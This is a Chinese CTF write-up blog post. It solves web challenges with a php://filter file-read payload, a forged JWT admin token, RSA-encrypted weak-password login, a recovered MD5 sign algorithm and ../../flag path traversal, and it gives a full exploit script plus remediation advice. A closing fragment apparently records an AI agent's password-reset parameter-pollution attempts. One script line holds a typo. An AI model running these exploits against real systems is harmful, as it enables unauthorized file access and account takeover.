DASctf


web1

auth_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4iLCJpYXQiOjE3NjQ5OTU0MTd9.F22NNggIJmuuOpoQXBNWDF7vdiO4OngI5I797fTgLKc;

在admin.php可以任意文件读取,但不知道flag在哪
![img](file:///D:\Documents\Tencent Files\1625684832\nt_qq\nt_data\Pic\2025-12\Ori\3a64dbcd4a1dece4e052f2933e9f1465.png)

在flag.php,用php://filter/convert.iconv.utf8.utf16/resource=flag.php

![img](file:///D:\Documents\Tencent Files\1625684832\nt_qq\nt_data\Pic\2025-12\Ori\cc9be0cda2110792e3a48a1ca5e2eb27.png)

DevWeb

  • 题目名称: DevWeb
  • 题目描述: 这是一个正在开发中的网站
  • 难度: Medium
  • 分类: Web安全

解题思路

这是一道综合性的Web安全题目,涉及信息泄露、RSA加密、文件下载和路径遍历等知识点。

详细解题过程

1. 信息收集

首先访问目标网站,发现是一个使用Vite构建的单页应用:

curl -s "http://TARGET:81/"

查看HTML源码,发现引入了JavaScript文件:/assets/index-BgDOi0T5.js

2. 分析前端代码

下载并分析JavaScript文件:

curl -s "http://TARGET:81/assets/index-BgDOi0T5.js" > app.js

通过分析发现几个关键信息:

(1) 登录功能

前端使用RSA加密密码后再发送到服务器:

t.setPublicKey(this.publicKey)
await this.submitLogin("username=" + encodeURIComponent(this.username) +
                      "&password=" + encodeURIComponent(t.encrypt(this.password)))

(2) RSA公钥泄露

在代码中发现一个被注释掉的RSA公钥(关键漏洞点):

//publicKey:"MIGeMA0GCSqGSIb3DQEBAQUAA4GMADCBiAKBgGyAKgwgFtRvud51H9otkcAxKh/8/iIlj3WlPJ0RL1pDtRvyMu5/edP84Mp9FqnZNCXKi1042pd4Y2Bf9QT0/z1i6KPiZ8zT3XNTtPOqIHO5aVaOfAl8lr52AurMZVpXwEUS2hh+Q/AN4/SV9AZPCgrUXk619aaw0Md9MNvn3w0JAgMBAAE="

虽然被注释了,但服务器端仍然使用这个公钥对应的私钥来解密密码。

(3) 文件下载功能

发现有一个下载接口:/download?file=文件名&sign=签名

3. 尝试登录

使用找到的RSA公钥和常见密码尝试登录:

from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
import base64
import requests
import urllib.parse
# RSA公钥
public_key_b64 = "MIGeMA0GCSqGSIb3DQEBAQUAA4GMADCBiAKBgGyAKgwgFtRvud51H9otkcAxKh/8/iIlj3WlPJ0RL1pDtRvyMu5/edP84Mp9FqnZNCXKi1042pd4Y2Bf9QT0/z1i6KPiZ8zT3XNTtPOqIHO5aVaOfAl8lr52AurMZVpXwEUS2hh+Q/AN4/SV9AZPCgrUXk619aaw0Md9MNvn3w0JAgMBAAE="
# 导入公钥
public_key_der = base64.b64decode(public_key_b64)
rsa_key = RSA.import_key(public_key_der)
cipher = PKCS1_v1_5.new(rsa_key)
# 登录凭证
username = "admin"
password = "123456"  # 弱密码
# RSA加密密码
encrypted_pwd = cipher.encrypt(password.encode())
encrypted_pwd_b64 = base64.b64encode(encrypted_pwd).decode()
# 构造POST数据
data = f"username={urllib.parse.quote(username)}&password={urllib.parse.quote(encrypted_pwd_b64)}"
# 发送登录请求
session = requests.Session()
base_url = "http://TARGET:81"
r = session.post(
    f"{base_url}/login",
    data=data,
    headers={"Content-Type": "application/x-www-form-urlencoded"},
    allow_redirects=Falsex
)
# 返回302重定向,登录成功!

登录成功:用户名 admin,密码 123456

image-20251206192445210

username=admin&password=KtMuzmL1Dh7ufEDy%2FfVDQg1FEBFQYxrMq3vGR98WAT1YthmwUPQhPI0ZHoW06A2DTdj6VnR4G%2BZM8utJTyN4XmVlKwn9keLmgEDXxwhrzYS7s5MdgEP2BYkenjrJjVNOtDUx73aHqvlCT0FHN1KXkzHK4a2gYdNU0VZ0QftXtZA%3D
Set-Cookie: JSESSIONID=820287BBA17DCD4AE278270246C95416; Path=/; HttpOnly

4. 下载app.jmx分析sign算法

登录成功后,尝试访问下载接口。前端代码中有一个固定的sign值:6f742c2e79030435b7edc1d79b8678f6

尝试下载文件:

r = session.get(f"{base_url}/download?file=app.jmx&sign=6f742c2e79030435b7edc1d79b8678f6")

成功下载到app.jmx文件(JMeter测试配置文件)。

分析app.jmx中的sign计算逻辑

在app.jmx中发现了关键的Groovy脚本:

def mingWen = vars.get('mingWen');          // 明文 = "test"
def firstMi = DigestUtils.md5Hex(mingWen);  // 第一次MD5
def jieStr = firstMi.substring(5, 16);      // 截取第5-16位
def salt = vars.get('salt');                 // salt = "f9bc855c9df15ba7602945fb939deefc"
def newStr = firstMi + jieStr + salt;        // 拼接
def sign = DigestUtils.md5Hex(newStr);       // 第二次MD5得到sign

Sign计算算法

MD5_1 = MD5(filename)
substring = MD5_1[5:16]
combined = MD5_1 + substring + salt
sign = MD5(combined)

其中 salt = "f9bc855c9df15ba7602945fb939deefc"

5. 验证sign算法

用Python实现sign计算:

import hashlib
def calculate_sign(filename):
    salt = "f9bc855c9df15ba7602945fb939deefc"
    # 第一次MD5
    firstMi = hashlib.md5(filename.encode()).hexdigest()
    # 截取5-16位
    jieStr = firstMi[5:16]
    # 拼接
    newStr = firstMi + jieStr + salt
    # 第二次MD5
    sign = hashlib.md5(newStr.encode()).hexdigest()
    return sign
# 验证app.jmx的sign
print(calculate_sign("app.jmx"))
# 输出: 6f742c2e79030435b7edc1d79b8678f6 ✓ 正确!

6. 路径遍历获取Flag

使用正确的sign算法,尝试下载系统中的flag文件:

# 测试不同的文件路径
test_files = ["flag", "flag.txt", "/flag", "../flag", "../../flag"]
for file in test_files:
    sign = calculate_sign(file)
    url = f"{base_url}/download?file={urllib.parse.quote(file)}&sign={sign}"
    r = session.get(url)
    if r.status_code == 200 and len(r.text) > 0:
        print(f"找到flag: {file}")
        print(f"内容: {r.text}")
        break

成功通过路径遍历 ../../flag 获取到flag文件!

http://2e7a82f4-8acb-4620-9fe2-ff15153b6cc2.node5.buuoj.cn:81/download?file=../../flag&sign=0e8eb4d606b21517ca7f9bee140c9db6

完整EXP脚本

from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
import base64
import requests
import urllib.parse
import hashlib
def calculate_sign(filename):
    """计算文件下载的sign值"""
    salt = "f9bc855c9df15ba7602945fb939deefc"
    firstMi = hashlib.md5(filename.encode()).hexdigest()
    jieStr = firstMi[5:16]
    newStr = firstMi + jieStr + salt
    sign = hashlib.md5(newStr.encode()).hexdigest()
    return sign
# 目标URL
base_url = "http://TARGET:81"
# 1. 准备RSA登录
public_key_b64 = "MIGeMA0GCSqGSIb3DQEBAQUAA4GMADCBiAKBgGyAKgwgFtRvud51H9otkcAxKh/8/iIlj3WlPJ0RL1pDtRvyMu5/edP84Mp9FqnZNCXKi1042pd4Y2Bf9QT0/z1i6KPiZ8zT3XNTtPOqIHO5aVaOfAl8lr52AurMZVpXwEUS2hh+Q/AN4/SV9AZPCgrUXk619aaw0Md9MNvn3w0JAgMBAAE="
public_key_der = base64.b64decode(public_key_b64)
rsa_key = RSA.import_key(public_key_der)
cipher = PKCS1_v1_5.new(rsa_key)
username = "admin"
password = "123456"
# 2. 加密密码
encrypted_pwd = cipher.encrypt(password.encode())
encrypted_pwd_b64 = base64.b64encode(encrypted_pwd).decode()
data = f"username={urllib.parse.quote(username)}&password={urllib.parse.quote(encrypted_pwd_b64)}"
# 3. 登录
session = requests.Session()
r = session.post(f"{base_url}/login", data=data,
                 headers={"Content-Type": "application/x-www-form-urlencoded"},
                 allow_redirects=False)
if r.status_code == 302:
    print("[+] 登录成功!")
    # 4. 下载flag
    filename = "../../flag"
    sign = calculate_sign(filename)
    r = session.get(f"{base_url}/download?file={urllib.parse.quote(filename)}&sign={sign}")
    if r.status_code == 200:
        print(f"[+] Flag: {r.text.strip()}")
else:
    print("[-] 登录失败")

Flag

DASCTF{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}

漏洞总结

1. 信息泄露(Critical)

  • 漏洞位置: 前端JavaScript代码

  • 漏洞描述: RSA公钥被注释在前端代码中,攻击者可以直接获取

  • 修复建议

    :

    • 完全删除注释的敏感信息
    • 使用代码混淆和压缩
    • 定期审查前端代码

2. 弱密码(High)

  • 漏洞描述: 管理员账号使用弱密码 123456

  • 修复建议

    :

    • 强制使用强密码策略
    • 实施账号锁定机制
    • 启用双因素认证

3. 路径遍历(High)

  • 漏洞位置: /download 接口

  • 漏洞描述: 虽然有sign验证,但允许 ../../ 路径遍历

  • 修复建议

    :

    • 严格验证文件路径
    • 使用白名单限制可下载文件
    • 规范化路径,拒绝包含 ../ 的请求

4. 签名算法安全性不足(Medium)

  • 漏洞描述: sign算法依赖固定salt,一旦salt泄露(如通过app.jmx),签名机制失效

  • 修复建议

    :

    • 使用HMAC等更安全的签名算法
    • 引入时间戳防重放
    • 定期更换密钥

知识点

  1. 前端安全: 敏感信息不应存在于前端代码中
  2. RSA加密: 公钥加密的正确使用方式
  3. 文件下载: 路径遍历漏洞的利用
  4. 签名机制: MD5签名的设计与破解
  5. 信息收集: 从配置文件中提取关键信息

参考资料


● 好的,让我总结一下我的发现:

已发现的关键信息

  1. 参数传递机制
  • /admin/resetPassword 接口接受 JSON格式的POST请求
  • 后端方法签名:public String resetPassword(String) - 只接受一个String参数(整个JSON字符串)
  • JSON参数 和 URL查询参数 可以同时使用
  1. 参数污染特性
  • ✅ URL参数可以补充JSON中缺失的字段(如newPassword)
    • 例:?newPassword=xxx + {“username”:”admin”,”oldPassword”:”123456”} → 成功
  • ❌ URL参数不能覆盖JSON中已有的字段
    • 例:?username=sun + {“username”:”admin”,…} → admin的密码被修改,不是sun
  • ❌ username字段必须在JSON中提供,不能只通过URL参数
    • 只用URL参数会报500错误
  1. 不同Content-Type的行为
  • application/json + JSON数据 → ✅ 正常工作
  • application/x-www-form-urlencoded + form数据 → ❌ 报”syntax error”(后端尝试解析为JSON失败)
  • multipart/form-data → ❌ 报”Required request body is missing”
  1. 测试过的用户名

使用 ?username=xxx 时,以下用户名都返回”密码重置成功”:

  • sun, sunset, set, flag, root, guest, getflag, admin
  • 但无法用这些修改对应用户的密码(URL参数的username不生效)
  1. 登录接口
  • 只接受 application/x-www-form-urlencoded 格式
  • 不接受JSON格式

未找到的内容

  • ❌ Flag在哪里
  • ❌ 如何通过”传参方式”获取flag
  • ❌ “看落日”的真正含义
  • ❌ 参数污染的正确利用方式

核心困惑

题目强调**”看看传参方式”**,我已经测试了多种传参方式的组合,但都只得到”密码重置成功”的响应,没有发现flag或特殊信息。可能遗漏了某个关键的参数名、特殊的参数组合方
式,或者flag在我没想到的其他地方。

Todos
☐ 重新理解”看落日的时候,看看传参方式”的真正含义


文章作者: q1n9
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 q1n9 !
  目录